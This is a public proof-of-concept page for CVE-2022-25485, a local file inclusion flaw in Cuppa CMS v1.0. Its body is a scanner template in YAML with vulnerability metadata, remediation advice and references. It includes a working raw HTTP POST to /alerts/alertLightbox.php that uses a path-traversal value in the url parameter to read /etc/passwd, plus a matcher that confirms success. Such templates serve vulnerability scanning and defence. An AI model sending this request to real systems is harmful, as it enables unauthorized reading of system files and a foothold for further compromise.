CVE-2022-25485: Cuppa CMS v1.0 - Local File Inclusion

2025-08-01 Cuppa CMS PoC Public

Description

CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertLightbox.php.

PoC

id: CVE-2022-25485

info:
  name: Cuppa CMS v1.0 - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertLightbox.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25485
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2022-25485
    cwe-id: CWE-829
    epss-score: 0.07927
    epss-percentile: 0.94426
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cuppacms,vkev,vuln

http:
  - raw:
      - |
        POST /alerts/alertLightbox.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=../../../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea43708742fa1000bd01e06d950d67507cb9a0858bc601271b61f7df7978b6b6022100f01cb18842f063829e9c17239f87ecaa14b70e61585f73a21a3541eb63c4a2a2:922c64590222798bb761d5b6d8e72950

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